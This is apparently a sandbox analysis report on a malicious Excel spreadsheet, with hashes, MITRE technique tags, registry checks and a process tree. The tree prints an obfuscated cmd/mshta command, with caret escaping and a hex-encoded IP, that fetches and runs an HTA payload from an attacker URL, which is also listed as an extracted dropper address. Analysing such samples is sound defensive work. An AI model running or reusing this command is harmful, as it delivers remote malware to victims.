b0726ae8ef93954b8aa39946ff5e487b3275ca422a50b9ce304113f0333fabff

Analysis

max time kernel
149s
max time network
156s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
19/11/2024, 17:40

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General

Target

b0726ae8ef93954b8aa39946ff5e487b3275ca422a50b9ce304113f0333fabff.xls
Size

101KB
MD5

d9a3d7d08c67f4da894e12c6dce59dfb
SHA1

f31de6d6110f45af28b73ac33666f6d3f78a3ddf
SHA256

b0726ae8ef93954b8aa39946ff5e487b3275ca422a50b9ce304113f0333fabff
SHA512

887236fee9e4478086d4584278869c658d45f1c23c0752f3125029476dbe9d7b3e89f270c9983f1ee44c46d80e1881068d55c1e27fa94ab5a35ab9ff02d7da52
SSDEEP

3072:n/k3hbdlylKsgqopeJBWhZFGkE+cL2NdAFxe53lGvFTQ3IzxgdrvxpU0OKvMB:/k3hbdlylKsgqopeJBWhZFVE+W2NdAOK

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://185.7.214.7/fer/fe3.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1724	2644	cmd.exe	82

Blocklisted process makes network request 1 IoCs

flow	pid	Process
20	5088	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2644	EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
2644	EXCEL.EXE
2644	EXCEL.EXE
2644	EXCEL.EXE
2644	EXCEL.EXE
2644	EXCEL.EXE
2644	EXCEL.EXE
2644	EXCEL.EXE
2644	EXCEL.EXE
2644	EXCEL.EXE
2644	EXCEL.EXE
2644	EXCEL.EXE
2644	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2644 wrote to memory of 1724	2644	EXCEL.EXE	87
PID 2644 wrote to memory of 1724	2644	EXCEL.EXE	87
PID 1724 wrote to memory of 5088	1724	cmd.exe	89
PID 1724 wrote to memory of 5088	1724	cmd.exe	89

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\b0726ae8ef93954b8aa39946ff5e487b3275ca422a50b9ce304113f0333fabff.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2644
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe3.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:1724
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fe3.html
    3⤵
    - Blocklisted process makes network request
    PID:5088

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2644-1-0x00007FFD784F0000-0x00007FFD78500000-memory.dmp

Filesize
64KB

Download
memory/2644-2-0x00007FFD784F0000-0x00007FFD78500000-memory.dmp

Filesize
64KB

Download
memory/2644-3-0x00007FFDB850D000-0x00007FFDB850E000-memory.dmp

Filesize
4KB

Download
memory/2644-0-0x00007FFD784F0000-0x00007FFD78500000-memory.dmp

Filesize
64KB

Download
memory/2644-4-0x00007FFDB8470000-0x00007FFDB8665000-memory.dmp

Filesize
2.0MB

Download
memory/2644-6-0x00007FFDB8470000-0x00007FFDB8665000-memory.dmp

Filesize
2.0MB

Download
memory/2644-5-0x00007FFD784F0000-0x00007FFD78500000-memory.dmp

Filesize
64KB

Download
memory/2644-8-0x00007FFD784F0000-0x00007FFD78500000-memory.dmp

Filesize
64KB

Download
memory/2644-7-0x00007FFDB8470000-0x00007FFDB8665000-memory.dmp

Filesize
2.0MB

Download
memory/2644-9-0x00007FFDB8470000-0x00007FFDB8665000-memory.dmp

Filesize
2.0MB

Download
memory/2644-11-0x00007FFDB8470000-0x00007FFDB8665000-memory.dmp

Filesize
2.0MB

Download
memory/2644-12-0x00007FFDB8470000-0x00007FFDB8665000-memory.dmp

Filesize
2.0MB

Download
memory/2644-13-0x00007FFD76230000-0x00007FFD76240000-memory.dmp

Filesize
64KB

Download
memory/2644-10-0x00007FFDB8470000-0x00007FFDB8665000-memory.dmp

Filesize
2.0MB

Download
memory/2644-14-0x00007FFD76230000-0x00007FFD76240000-memory.dmp

Filesize
64KB

Download
memory/2644-33-0x00007FFDB8470000-0x00007FFDB8665000-memory.dmp

Filesize
2.0MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads